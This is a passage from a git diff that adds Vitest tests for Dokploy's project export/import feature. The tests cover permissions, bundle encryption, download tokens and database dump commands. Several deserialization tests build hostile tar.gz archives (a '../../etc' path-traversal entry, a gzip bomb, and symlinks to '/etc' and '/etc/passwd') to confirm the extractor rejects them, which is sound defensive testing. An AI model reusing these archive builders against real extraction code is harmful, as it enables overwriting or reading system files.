projects: { + findMany: async () => [ + { projectId: "with-server", name: "With server" }, + { projectId: "empty", name: "Empty" }, + ], + }, + }, + }, + })); + vi.doMock( + "@dokploy/server/services/project-export-import", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/services/project-export-import") + >(); + return { + ...actual, + assertTransferPermission: vi.fn(async () => ({ role: "owner" })), + findOrganizationDestination: vi.fn(async () => ({})), + bundleBuildServer: vi.fn(async (_db, projectId: string) => { + if (projectId === "with-server") return "server-1"; + throw new TRPCError({ + code: "BAD_REQUEST", + message: "none of the selected services runs on a remote server", + }); + }), + runExportBatch, + }; + }, + ); + vi.doMock("../../server/api/utils/audit", () => ({ audit: vi.fn() })); + + const { projectExportImportRouter } = await import( + "../../server/api/routers/project-export-import" + ); + const caller = projectExportImportRouter.createCaller({ + session: { activeOrganizationId: "org-1" }, + user: { id: "user-org-cloud", email: "a@b.com" }, + } as any); + + const result = await caller.exportOrganizationStart({ + destinationId: "dest-1", + passphrase: "correct-horse-battery-staple", + projectIds: ["with-server", "empty", "with-server"], + }); + + expect(result.exports).toEqual([ + { projectId: "with-server", name: "With server", exportId: "export-1" }, + ]); + expect(result.skipped).toMatchObject([{ projectId: "empty" }]); + expect(runExportBatch).toHaveBeenCalledWith( + [expect.objectContaining({ buildServerId: "server-1" })], + expect.anything(), + ); + + delete process.env.IS_CLOUD; + vi.doUnmock("@dokploy/server/db"); + vi.doUnmock("@dokploy/server/services/project-export-import"); + vi.doUnmock("../../server/api/utils/audit"); + vi.resetModules(); + }, 30_000); +}); diff --git a/apps/dokploy/__test__/export-import/deserialize.test.ts b/apps/dokploy/__test__/export-import/deserialize.test.ts new file mode 100644 index 000000000..49642a8b9 --- /dev/null +++ b/apps/dokploy/__test__/export-import/deserialize.test.ts @@ -0,0 +1,393 @@ +import { existsSync } from "node:fs"; +import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { gzipSync } from "node:zlib"; +import type { + ExportScope, + TransferDb, +} from "@dokploy/server/services/project-export-import"; +import { + capture, + detectRequirements, + detectWarnings, + inspectBundle, + serialize, + TransferCryptoError, + unlockBundle, +} from "@dokploy/server/services/project-export-import"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +const local = (path: string) => ({ serverId: null, path }); + +const PASSPHRASE = "correct-horse-battery-staple"; + +const application = { + applicationId: "app-1", + name: "my-app", + appName: "my-app-abc123", + environmentId: "env-1", + env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb", + buildArgs: null, + buildSecrets: null, + previewEnv: null, + serverId: null, + buildServerId: null, + githubId: null, + gitlabId: null, + giteaId: null, + bitbucketId: null, + refreshToken: "webhook-token", + registryId: null, + buildRegistryId: null, + rollbackRegistryId: null, + customGitSSHKeyId: null, + customGitSSHKey: null, + networkIds: [], + owner: null, + repository: null, + sourceType: "docker", + autoDeploy: false, + isPreviewDeploymentsActive: false, + createdAt: "2024-01-01T00:00:00.000Z", + domains: [], + mounts: [], + redirects: [], + security: [], + ports: [], + schedules: [], + volumeBackups: [], +}; + +const postgres = { + postgresId: "pg-1", + name: "my-db", + appName: "my-db-xyz789", + environmentId: "env-1", + env: "", + databasePassword: "realdbpassword123", + serverId: null, + createdAt: "2024-01-01T00:00:00.000Z", + mounts: [], + backups: [], + volumeBackups: [], +}; + +const emptyServiceArrays = { + mysql: [], + mariadb: [], + mongo: [], + redis: [], + libsql: [], + compose: [], +}; + +const projectTree = { + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + createdAt: "2024-01-01T00:00:00.000Z", + environments: [ + { + environmentId: "env-1", + name: "production", + projectId: "project-1", + env: "", + isDefault: true, + createdAt: "2024-01-01T00:00:00.000Z", + applications: [application], + postgres: [postgres], + ...emptyServiceArrays, + }, + ], +}; + +const fakeDb = (): TransferDb => + ({ + query: { + projects: { findFirst: async () => projectTree }, + environments: { findFirst: async () => undefined }, + applications: { findMany: async () => [application] }, + schedules: { findMany: async () => [] }, + volumeBackups: { findMany: async () => [] }, + vaultProvider: { findMany: async () => [] }, + registry: { findMany: async () => [], findFirst: async () => undefined }, + destinations: { findMany: async () => [] }, + network: { findMany: async () => [] }, + certificates: { findMany: async () => [] }, + }, + }) as any as TransferDb; + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, +}; + +const ustarHeader = (name: string, size: number): Buffer => { + const header = Buffer.alloc(512); + header.write(name, 0, "utf8"); + header.write("0000777\0", 100, "utf8"); + header.write("0000000\0", 108, "utf8"); + header.write("0000000\0", 116, "utf8"); + header.write(`${size.toString(8).padStart(11, "0")}\0`, 124, "utf8"); + header.write( + `${Math.floor(Date.now() / 1000) + .toString(8) + .padStart(11, "0")}\0`, + 136, + "utf8", + ); + header.write(" ", 148, "utf8"); + header.write("0", 156, "utf8"); + header.write("ustar\0", 257, "utf8"); + header.write("00", 263, "utf8"); + let checksum = 0; + for (const byte of header) checksum += byte; + header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8"); + return header; +}; + +const buildMaliciousTarGz = (entryName: string, content: Buffer): Buffer => { + const header = ustarHeader(entryName, content.length); + const padded = Buffer.concat([ + content, + Buffer.alloc((512 - (content.length % 512)) % 512), + ]); + const archive = Buffer.concat([header, padded, Buffer.alloc(1024)]); + return gzipSync(archive); +}; + +const ustarSymlinkHeader = (name: string, linkTarget: string): Buffer => { + const header = Buffer.alloc(512); + header.write(name, 0, "utf8"); + header.write("0000777\0", 100, "utf8"); + header.write("0000000\0", 108, "utf8"); + header.write("0000000\0", 116, "utf8"); + header.write(`${(0).toString(8).padStart(11, "0")}\0`, 124, "utf8"); + header.write( + `${Math.floor(Date.now() / 1000) + .toString(8) + .padStart(11, "0")}\0`, + 136, + "utf8", + ); + header.write(" ", 148, "utf8"); + header.write("2", 156, "utf8"); + header.write(linkTarget, 157, "utf8"); + header.write("ustar\0", 257, "utf8"); + header.write("00", 263, "utf8"); + let checksum = 0; + for (const byte of header) checksum += byte; + header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8"); + return header; +}; + +const buildSymlinkTarGz = (entryName: string, linkTarget: string): Buffer => { + const header = ustarSymlinkHeader(entryName, linkTarget); + const archive = Buffer.concat([header, Buffer.alloc(1024)]); + return gzipSync(archive); +}; + +let workDir: string; +let outDir: string; +let bundlePath: string; + +const buildBundle = async () => { + const db = fakeDb(); + const captureResult = await capture( + db, + { kind: "project", id: "project-1" }, + baseScope, + { + detectRequirements: (tree, scope) => detectRequirements(db, tree, scope), + detectWarnings: (tree, scope) => detectWarnings(tree, scope), + }, + ); + + await serialize( + { + resources: captureResult.resources, + inventory: captureResult.inventory, + requirements: captureResult.requirements, + warnings: captureResult.warnings, + dumps: [], + scope: baseScope, + organizationId: "org-1", + dokployVersion: "1.0.0-test", + exportedBy: { userId: "user-1", email: "a@b.com" }, + }, + captureResult.secretsPlain, + PASSPHRASE, + local(workDir), + local(bundlePath), + ); +}; + +beforeEach(async () => { + workDir = await mkdtemp(join(tmpdir(), "transfer-deser-work-")); + outDir = await mkdtemp(join(tmpdir(), "transfer-deser-out-")); + bundlePath = join(outDir, "bundle.dokploy.tar.gz"); +}); + +afterEach(async () => { + await rm(workDir, { recursive: true, force: true }); + await rm(outDir, { recursive: true, force: true }); +}); + +describe("deserialize: inspectBundle + unlockBundle", () => { + it("round-trips the exact snapshot through inspect + unlock", async () => { + await buildBundle(); + + const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-")); + try { + const inspected = await inspectBundle( + local(bundlePath), + local(extractDir), + ); + expect(inspected.manifest.sourceInstance.organizationId).toBe("org-1"); + expect(inspected.inventory.totals.application).toBe(1); + expect(Array.isArray(inspected.requirements)).toBe(true); + expect(Array.isArray(inspected.warnings)).toBe(true); + + expect(existsSync(join(extractDir, "resources"))).toBe(false); + const unlocked = await unlockBundle(local(extractDir), PASSPHRASE); + expect(unlocked.snapshot.manifest).toEqual(inspected.manifest); + expect(existsSync(join(extractDir, "payload.enc"))).toBe(false); + expect(existsSync(join(extractDir, "secrets.json"))).toBe(false); + expect(unlocked.snapshot.resources.project).toMatchObject({ + projectId: "project-1", + name: "my-project", + }); + expect(unlocked.snapshot.resources.environments).toHaveLength(1); + + const decryptedValues = Array.from(unlocked.secretsPlain.values()); + expect(decryptedValues).toContain("realdbpassword123"); + } finally { + await rm(extractDir, { recursive: true, force: true }); + } + }, 30_000); + + it("throws TransferCryptoError on a wrong passphrase", async () => { + await buildBundle(); + + const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-")); + try { + await inspectBundle(local(bundlePath), local(extractDir)); + await expect( + unlockBundle(local(extractDir), "totally-wrong-passphrase-here"), + ).rejects.toThrow(TransferCryptoError); + } finally { + await rm(extractDir, { recursive: true, force: true }); + } + }); + + it("throws TransferCryptoError when the encrypted payload is tampered with", async () => { + await buildBundle(); + + const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-")); + try { + await inspectBundle(local(bundlePath), local(extractDir)); + const payloadPath = join(extractDir, "payload.enc"); + const bytes = await readFile(payloadPath); + const middle = Math.floor(bytes.length / 2); + bytes[middle] = (bytes[middle] ?? 0) ^ 0xff; + await writeFile(payloadPath, bytes); + + await expect(unlockBundle(local(extractDir), PASSPHRASE)).rejects.toThrow( + TransferCryptoError, + ); + } finally { + await rm(extractDir, { recursive: true, force: true }); + } + }); + + it("rejects a tar entry that attempts path traversal", async () => { + const maliciousBundle = join(outDir, "evil.dokploy.tar.gz"); + await writeFile( + maliciousBundle, + buildMaliciousTarGz("../../etc/evil-payload", Buffer.from("evil")), + ); + + const extractDir = await mkdtemp( + join(tmpdir(), "transfer-deser-extract-evil-"), + ); + try { + await expect( + inspectBundle(local(maliciousBundle), local(extractDir)), + ).rejects.toThrow(/unsafe path/i); + } finally { + await rm(extractDir, { recursive: true, force: true }); + } + }); + + it("rejects a gzip bomb before extracting anything", async () => { + const bomb = join(outDir, "bomb.dokploy.tar.gz"); + await writeFile( + bomb, + buildMaliciousTarGz("manifest.json", Buffer.alloc(1024 * 1024)), + ); + + const extractDir = await mkdtemp( + join(tmpdir(), "transfer-deser-extract-bomb-"), + ); + try { + await expect( + inspectBundle(local(bomb), local(extractDir), { + maxDecompressedBytes: 64 * 1024, + }), + ).rejects.toThrow(/decompressed size/); + expect(existsSync(join(extractDir, "manifest.json"))).toBe(false); + // A post-extraction failure removes the directory; the pre-check never touches it. + expect(existsSync(extractDir)).toBe(true); + } finally { + await rm(extractDir, { recursive: true, force: true }); + } + }); + + it("rejects an escaping symlink even when its name contains a tab", async () => { + const maliciousBundle = join(outDir, "evil-tab-symlink.dokploy.tar.gz"); + await writeFile( + maliciousBundle, + buildSymlinkTarGz("x\ty", "../../../../etc"), + ); + + const extractDir = await mkdtemp( + join(tmpdir(), "transfer-deser-extract-tab-"), + ); + try { + await expect( + inspectBundle(local(maliciousBundle), local(extractDir)), + ).rejects.toThrow(/unsafe symlink/i); + } finally { + await rm(extractDir, { recursive: true, force: true }); + } + }); + + it("rejects a symlink entry whose target escapes workDir", async () => { + const maliciousBundle = join(outDir, "evil-symlink.dokploy.tar.gz"); + await writeFile( + maliciousBundle, + buildSymlinkTarGz("innocuous-name.txt", "../../../../etc/passwd"), + ); + + const extractDir = await mkdtemp( + join(tmpdir(), "transfer-deser-extract-symlink-"), + ); + try { + await expect( + inspectBundle(local(maliciousBundle), local(extractDir)), + ).rejects.toThrow(/unsafe symlink/i); + } finally { + await rm(extractDir, { recursive: true, force: true }); + } + }); +}); diff --git a/apps/dokploy/__test__/export-import/download-route.test.ts b/apps/dokploy/__test__/export-import/download-route.test.ts new file mode 100644 index 000000000..f773e2768 --- /dev/null +++ b/apps/dokploy/__test__/export-import/download-route.test.ts @@ -0,0 +1,316 @@ +import { mkdtemp, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { PassThrough, Readable } from "node:stream"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; + +const { errorPathBox } = vi.hoisted(() => ({ errorPathBox: { value: "" } })); + +vi.mock( + "@dokploy/server/utils/process/remoteStream", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/remoteStream") + >(); + return { + ...actual, + openProcessStream: async (serverId: string | null, command: string) => { + if (errorPathBox.value && command.includes(errorPathBox.value)) { + const stdout = new Readable({ read() {} }); + process.nextTick(() => { + stdout.emit("error", new Error("simulated read failure")); + }); + return { + stdin: new PassThrough(), + stdout, + stderr: new PassThrough(), + exit: Promise.resolve(1), + close: () => {}, + }; + } + return actual.openProcessStream(serverId, command); + }, + }; + }, +); + +let sessionToReturn: { + session: { activeOrganizationId: string } | null; + user: { id: string } | null; +} = { + session: { activeOrganizationId: "org-1" }, + user: { id: "user-1" }, +}; + +vi.mock("@dokploy/server/lib/auth", () => ({ + validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)), +})); + +vi.mock( + "@dokploy/server/services/project-export-import", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/services/project-export-import") + >(); + return { + ...actual, + assertTransferPermission: vi.fn(async () => ({ role: "owner" })), + }; + }, +); + +const { + createExportJob, + issueDownloadToken, + updateExportJob, + peekDownloadToken, + assertTransferPermission, +} = await import("@dokploy/server/services/project-export-import"); +const handler = ( + await import("../../pages/api/project-export-import/download/[token]") +).default; + +let root: string; + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), "transfer-download-route-")); + errorPathBox.value = ""; + sessionToReturn = { + session: { activeOrganizationId: "org-1" }, + user: { id: "user-1" }, + }; +}); + +afterEach(async () => { + await rm(root, { recursive: true, force: true }); +}); + +const buildReq = ( + method: string, + token: string, +): { method: string; query: { token: string } } => ({ + method, + query: { token }, +}); + +const buildRes = () => { + const stream = new PassThrough() as unknown as { + statusCode: number; + status: (code: number) => typeof stream; + json: (body: unknown) => typeof stream; + jsonBody?: unknown; + setHeader: (key: string, value: unknown) => void; + headers: Record; + } & PassThrough; + stream.statusCode = 200; + stream.headers = {}; + stream.status = vi.fn((code: number) => { + stream.statusCode = code; + return stream; + }) as typeof stream.status; + stream.json = vi.fn((body: unknown) => { + stream.jsonBody = body; + return stream; + }) as typeof stream.json; + stream.setHeader = vi.fn((key: string, value: unknown) => { + stream.headers[key] = value; + }); + return stream; +}; + +const drain = (stream: PassThrough): Promise => + new Promise((resolve, reject) => { + const chunks: Buffer[] = []; + stream.on("data", (chunk) => chunks.push(chunk as Buffer)); + stream.on("end", () => resolve(Buffer.concat(chunks))); + stream.on("error", reject); + }); + +describe("transfer download route", () => { + it("rejects unauthenticated requests", async () => { + sessionToReturn = { session: null, user: null }; + const req = buildReq("GET", "any-token"); + const res = buildRes(); + + await handler(req as any, res as any); + + expect(res.statusCode).toBe(401); + }); + + it("rejects an unknown token", async () => { + const req = buildReq("GET", "does-not-exist"); + const res = buildRes(); + + await handler(req as any, res as any); + + expect(res.statusCode).toBe(404); + }); + + it("rejects a non-owner/admin caller with a valid, same-org token", async () => { + const job = createExportJob("export-forbidden-1", "user-1", "org-1"); + job.status = "done"; + job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") }; + const token = issueDownloadToken("export-forbidden-1") as string; + + (assertTransferPermission as any).mockRejectedValueOnce( + new (await import("@trpc/server")).TRPCError({ + code: "FORBIDDEN", + message: "Only organization owners and admins can do that", + }), + ); + + const req = buildReq("GET", token); + const res = buildRes(); + await handler(req as any, res as any); + + expect(res.statusCode).toBe(403); + expect(assertTransferPermission).toHaveBeenCalled(); + }); + + it("rejects a token belonging to another organization", async () => { + const job = createExportJob("export-1", "user-1", "org-2"); + job.status = "done"; + job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") }; + const token = issueDownloadToken("export-1") as string; + + const req = buildReq("GET", token); + const res = buildRes(); + await handler(req as any, res as any); + + expect(res.statusCode).toBe(404); + }); + + it("streams the bundle and invalidates the token on success, keeps it valid on failure retries", async () => { + const bundlePath = join(root, "bundle.tar.gz"); + const content = Buffer.from( + "fake bundle bytes, could be large in real life", + ); + await writeFile(bundlePath, content); + + createExportJob("export-2", "user-1", "org-1"); + updateExportJob("export-2", { + status: "done", + bundle: { serverId: null, path: bundlePath }, + }); + const token = issueDownloadToken("export-2") as string; + + const req = buildReq("GET", token); + const res = buildRes(); + + const [, received] = await Promise.all([ + handler(req as any, res as any), + drain(res), + ]); + + expect(received.equals(content)).toBe(true); + expect(res.headers["Content-Type"]).toBe("application/gzip"); + expect(res.headers["Content-Length"]).toBe(content.length); + expect(String(res.headers["Content-Disposition"])).toContain( + "bundle.tar.gz", + ); + + await new Promise((resolve) => setTimeout(resolve, 10)); + expect(peekDownloadToken(token)).toBeUndefined(); + }); + + it("keeps the token valid when the connection closes before the download finishes", async () => { + const bundlePath = join(root, "bundle-disconnect.tar.gz"); + await writeFile(bundlePath, Buffer.alloc(1024 * 1024, 7)); + + createExportJob("export-disconnect-1", "user-1", "org-1"); + updateExportJob("export-disconnect-1", { + status: "done", + bundle: { serverId: null, path: bundlePath }, + }); + const token = issueDownloadToken("export-disconnect-1") as string; + + const req = buildReq("GET", token); + const res = buildRes(); + + res.once("data", () => { + res.destroy(); + }); + + await handler(req as any, res as any); + + expect(peekDownloadToken(token)).toBeDefined(); + }); + + it("destroys the response instead of hanging when the source stream errors mid-read", async () => { + const bundlePath = join(root, "bundle-error.tar.gz"); + await writeFile(bundlePath, Buffer.from("will never actually be read")); + errorPathBox.value = bundlePath; + + createExportJob("export-error-1", "user-1", "org-1"); + updateExportJob("export-error-1", { + status: "done", + bundle: { serverId: null, path: bundlePath }, + }); + const token = issueDownloadToken("export-error-1") as string; + + const req = buildReq("GET", token); + const res = buildRes(); + + await handler(req as any, res as any); + + expect(res.destroyed).toBe(true); + }); + + it("rejects a GET with a non-string token param", async () => { + const req = { method: "GET", query: { token: ["a", "b"] } }; + const res = buildRes(); + await handler(req as any, res as any); + expect(res.statusCode).toBe(400); + }); + + it("rejects non-GET methods", async () => { + const req = buildReq("POST", "whatever"); + const res = buildRes(); + await handler(req as any, res as any); + expect(res.statusCode).toBe(405); + }); + + it("does not buffer the whole file into memory while streaming a large bundle", async () => { + const bundlePath = join(root, "large-bundle.tar.gz"); + const chunkSize = 1024 * 1024; + const chunkCount = 50; + const chunk = Buffer.alloc(chunkSize, 7); + const { open } = await import("node:fs/promises"); + const handle = await open(bundlePath, "w"); + for (let i = 0; i < chunkCount; i++) { + await handle.write(chunk); + } + await handle.close(); + + createExportJob("export-large", "user-1", "org-1"); + updateExportJob("export-large", { + status: "done", + bundle: { serverId: null, path: bundlePath }, + }); + const token = issueDownloadToken("export-large") as string; + + const req = buildReq("GET", token); + const res = buildRes(); + res.resume(); + + if (global.gc) { + global.gc(); + } + const before = process.memoryUsage().heapUsed; + + await handler( + req as unknown as Parameters[0], + res as unknown as Parameters[1], + ); + + if (global.gc) { + global.gc(); + } + const after = process.memoryUsage().heapUsed; + const grew = after - before; + + expect(grew).toBeLessThan((chunkSize * chunkCount) / 2); + }); +}); diff --git a/apps/dokploy/__test__/export-import/dumps.test.ts b/apps/dokploy/__test__/export-import/dumps.test.ts new file mode 100644 index 000000000..7140b1861 --- /dev/null +++ b/apps/dokploy/__test__/export-import/dumps.test.ts @@ -0,0 +1,550 @@ +import { existsSync } from "node:fs"; +import { mkdtemp, rm, writeFile } from "node:fs/promises"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import type { + ExportScope, + TransferDb, +} from "@dokploy/server/services/project-export-import"; +import { + buildComposeDumpCommand, + buildDumpCommand, + createDumps, + MAX_EMBEDDED_DUMP_BYTES, +} from "@dokploy/server/services/project-export-import"; +import { afterEach, beforeEach, describe, expect, it } from "vitest"; + +const local = (path: string) => ({ serverId: null, path }); + +describe("buildDumpCommand", () => { + it("builds a postgres dump command using databaseName/databaseUser", () => { + const built = buildDumpCommand("postgres", { + appName: "pg-one", + databaseName: "mydb", + databaseUser: "myuser", + }); + expect(built?.ext).toBe("sql.gz"); + expect(built?.containerSearch).toContain("pg-one"); + expect(built?.command).toContain("pg_dump"); + expect(built?.command).toContain("mydb"); + }); + + it("builds a mysql dump command using databaseRootPassword", () => { + const built = buildDumpCommand("mysql", { + appName: "mysql-one", + databaseName: "mydb", + databaseRootPassword: "rootpass", + }); + expect(built?.command).toContain("mysqldump"); + expect(built?.command).toContain("rootpass"); + }); + + it("builds a mariadb dump command using databaseUser + databasePassword", () => { + const built = buildDumpCommand("mariadb", { + appName: "maria-one", + databaseName: "mydb", + databaseUser: "u", + databasePassword: "p", + }); + expect(built?.command).toContain("mariadb-dump"); + }); + + it("builds a mongo dump command", () => { + const built = buildDumpCommand("mongo", { + appName: "mongo-one", + databaseName: "mydb", + databaseUser: "u", + databasePassword: "p", + }); + expect(built?.ext).toBe("archive.gz"); + expect(built?.command).toContain("mongodump"); + expect(built?.command).toContain("--archive --gzip"); + expect(built?.command).not.toContain("-d "); + }); + + it("builds a libsql dump command over sqld's iku.db data directory", () => { + const built = buildDumpCommand("libsql", { appName: "libsql-one" }); + expect(built?.ext).toBe("tar.gz"); + expect(built?.command).toContain("iku.db"); + expect(built?.command).not.toContain("libsql-one"); + }); + + it("returns undefined for a non-dumpable service type", () => { + expect(buildDumpCommand("redis", { appName: "redis-one" })).toBeUndefined(); + expect( + buildDumpCommand("application", { appName: "app-one" }), + ).toBeUndefined(); + }); +}); + +describe("buildComposeDumpCommand", () => { + it("builds from metadata.mariadb when databaseType is mariadb", () => { + const built = buildComposeDumpCommand({ + appName: "stack-one", + serviceName: "db", + database: "mydb", + databaseType: "mariadb", + metadata: { mariadb: { databaseUser: "u", databasePassword: "p" } }, + }); + expect(built?.command).toContain("mariadb-dump"); + expect(built?.containerSearch).toContain("stack-one"); + }); + + it("returns undefined when the matching metadata block is missing", () => { + const built = buildComposeDumpCommand({ + appName: "stack-one", + serviceName: "db", + database: "mydb", + databaseType: "mongo", + metadata: {}, + }); + expect(built).toBeUndefined(); + }); +}); + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "embed" }, + includeBackupSchedules: true, +}; + +const emptyServiceArrays = { + mysql: [], + mariadb: [], + mongo: [], + libsql: [], + compose: [], +}; + +const buildTree = ( + postgres: Record[], + redis: Record[] = [], +) => ({ + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + environments: [ + { + environmentId: "env-1", + name: "production", + env: "", + applications: [], + postgres, + redis, + ...emptyServiceArrays, + }, + ], +}); + +const fakeDb = (overrides: Record = {}): TransferDb => + ({ + query: { + deployments: { findMany: async () => [] }, + backups: { findFirst: async () => undefined }, + ...overrides, + }, + }) as any as TransferDb; + +let workDir: string; + +beforeEach(async () => { + workDir = await mkdtemp(join(tmpdir(), "transfer-dumps-")); +}); + +afterEach(async () => { + await rm(workDir, { recursive: true, force: true }); +}); + +describe("createDumps / embed mode", () => { + it("writes a dump per dumpable service via the injected runDump and records its size", async () => { + const tree = buildTree([ + { + postgresId: "pg-1", + appName: "pg-one", + databaseName: "db", + databaseUser: "u", + databasePassword: "p", + serverId: null, + backups: [], + }, + ]); + + const { dumps, warnings } = await createDumps( + fakeDb(), + tree as any, + baseScope, + local(workDir), + { + runDump: async (_serverId, _cmd, localPath) => { + await writeFile(localPath.path, Buffer.alloc(100, 1)); + }, + }, + ); + + expect(warnings).toHaveLength(0); + expect(dumps).toEqual([ + { + serviceId: "pg-1", + serviceType: "postgres", + mode: "embed", + ext: "sql.gz", + path: "dumps/pg-1.sql.gz", + bytes: 100, + }, + ]); + expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(true); + }); + + it("notes that admin users are not restored for a mongo dump", async () => { + const tree = buildTree([]); + tree.environments[0]!.mongo = [ + { + mongoId: "mongo-1", + appName: "mongo-one", + databaseUser: "u", + databasePassword: "p", + serverId: null, + backups: [], + }, + ] as any; + + const { dumps, warnings } = await createDumps( + fakeDb(), + tree as any, + baseScope, + local(workDir), + { + runDump: async (_serverId, _cmd, localPath) => { + await writeFile(localPath.path, Buffer.alloc(10, 1)); + }, + }, + ); + + expect(dumps).toHaveLength(1); + expect(warnings.map((w) => w.code)).toEqual([ + "MONGO_ADMIN_USERS_NOT_RESTORED", + ]); + }); + + it("skips redis (no dump mechanism)", async () => { + const tree = buildTree( + [], + [ + { + redisId: "redis-1", + appName: "redis-one", + serverId: null, + backups: [], + }, + ], + ); + + const { dumps } = await createDumps( + fakeDb(), + tree as any, + baseScope, + local(workDir), + { + runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"), + }, + ); + + expect(dumps).toHaveLength(0); + }); + + it("does nothing when dumps.mode is none", async () => { + const tree = buildTree([ + { + postgresId: "pg-1", + appName: "pg-one", + databaseName: "db", + databaseUser: "u", + serverId: null, + backups: [], + }, + ]); + + const { dumps, warnings } = await createDumps( + fakeDb(), + tree as any, + { ...baseScope, dumps: { mode: "none" } }, + local(workDir), + { + runDump: async () => { + throw new Error("should not be called"); + }, + }, + ); + + expect(dumps).toHaveLength(0); + expect(warnings).toHaveLength(0); + expect(existsSync(join(workDir, "dumps"))).toBe(false); + }); + + it("emits DUMP_SKIPPED_TOO_LARGE and deletes the file when over the byte limit", async () => { + const tree = buildTree([ + { + postgresId: "pg-1", + appName: "pg-one", + databaseName: "db", + databaseUser: "u", + serverId: null, + backups: [], + }, + ]); + + const { dumps, warnings } = await createDumps( + fakeDb(), + tree as any, + baseScope, + local(workDir), + { + runDump: async (_s, _c, localPath) => { + const { open } = await import("node:fs/promises"); + const handle = await open(localPath.path, "w"); + await handle.truncate(MAX_EMBEDDED_DUMP_BYTES + 1); + await handle.close(); + }, + }, + ); + + expect(dumps).toHaveLength(0); + expect(warnings).toHaveLength(1); + expect(warnings[0]?.code).toBe("DUMP_SKIPPED_TOO_LARGE"); + expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(false); + }); + + it("emits DUMP_FAILED and doesn't add a dumps entry when runDump throws", async () => { + const tree = buildTree([ + { + postgresId: "pg-1", + appName: "pg-one", + databaseName: "db", + databaseUser: "u", + serverId: null, + backups: [], + }, + ]); + + const { dumps, warnings } = await createDumps( + fakeDb(), + tree as any, + baseScope, + local(workDir), + { + runDump: async () => { + throw new Error("pg_dump: connection refused"); + }, + }, + ); + + expect(dumps).toHaveLength(0); + expect(existsSync(join(workDir, "dumps"))).toBe(false); + expect(warnings).toHaveLength(1); + expect(warnings[0]?.code).toBe("DUMP_FAILED"); + expect(warnings[0]?.message).toContain("pg-one"); + expect(warnings[0]?.affected).toContainEqual( + expect.objectContaining({ serviceId: "pg-1" }), + ); + }); + + it("emits COMPOSE_DUMP_NOT_RESTORABLE for a compose backup", async () => { + const tree = { + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + environments: [ + { + environmentId: "env-1", + name: "production", + env: "", + applications: [], + postgres: [], + redis: [], + mysql: [], + mariadb: [], + mongo: [], + libsql: [], + compose: [ + { + composeId: "compose-1", + appName: "stack-one", + serverId: null, + backups: [ + { + backupId: "backup-1", + serviceName: "db", + database: "mydb", + databaseType: "mariadb", + metadata: { + mariadb: { databaseUser: "u", databasePassword: "p" }, + }, + }, + ], + }, + ], + }, + ], + }; + + const { dumps, warnings } = await createDumps( + fakeDb(), + tree as any, + baseScope, + local(workDir), + { + runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"), + }, + ); + + expect(dumps).toHaveLength(1); + expect(warnings).toHaveLength(1); + expect(warnings[0]?.code).toBe("COMPOSE_DUMP_NOT_RESTORABLE"); + expect(warnings[0]?.affected).toEqual([ + { + serviceId: "compose-1", + serviceType: "compose", + serviceName: "stack-one", + environmentId: "env-1", + }, + ]); + expect(dumps[0]?.serviceId).toBe("compose-1"); + expect(dumps[0]?.mode).toBe("embed"); + expect(dumps[0]?.mode === "embed" ? dumps[0].path : undefined).toContain( + "backup-1", + ); + }); + + it("does not emit COMPOSE_DUMP_NOT_RESTORABLE when the compose dump itself fails", async () => { + const tree = { + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + environments: [ + { + environmentId: "env-1", + name: "production", + env: "", + applications: [], + postgres: [], + redis: [], + mysql: [], + mariadb: [], + mongo: [], + libsql: [], + compose: [ + { + composeId: "compose-1", + appName: "stack-one", + serverId: null, + backups: [ + { + backupId: "backup-1", + serviceName: "db", + database: "mydb", + databaseType: "mariadb", + metadata: { + mariadb: { databaseUser: "u", databasePassword: "p" }, + }, + }, + ], + }, + ], + }, + ], + }; + + const { dumps, warnings } = await createDumps( + fakeDb(), + tree as any, + baseScope, + local(workDir), + { + runDump: async () => { + throw new Error("Container not found"); + }, + }, + ); + + expect(dumps).toHaveLength(0); + expect(warnings.map((warning) => warning.code)).toEqual(["DUMP_FAILED"]); + expect(existsSync(join(workDir, "dumps"))).toBe(false); + }); +}); + +describe("createDumps / referenceLastBackup mode", () => { + it("references the destination + key prefix of the latest successful backup", async () => { + const tree = buildTree([ + { + postgresId: "pg-1", + appName: "pg-one", + databaseName: "db", + databaseUser: "u", + serverId: null, + backups: [{ backupId: "backup-1" }], + }, + ]); + + const db = fakeDb({ + deployments: { + findMany: async () => [{ backupId: "backup-1", status: "done" }], + }, + backups: { + findFirst: async () => ({ + backupId: "backup-1", + destinationId: "dest-1", + prefix: "/nightly/", + }), + }, + }); + + const { dumps } = await createDumps( + db, + tree as any, + { ...baseScope, dumps: { mode: "referenceLastBackup" } }, + 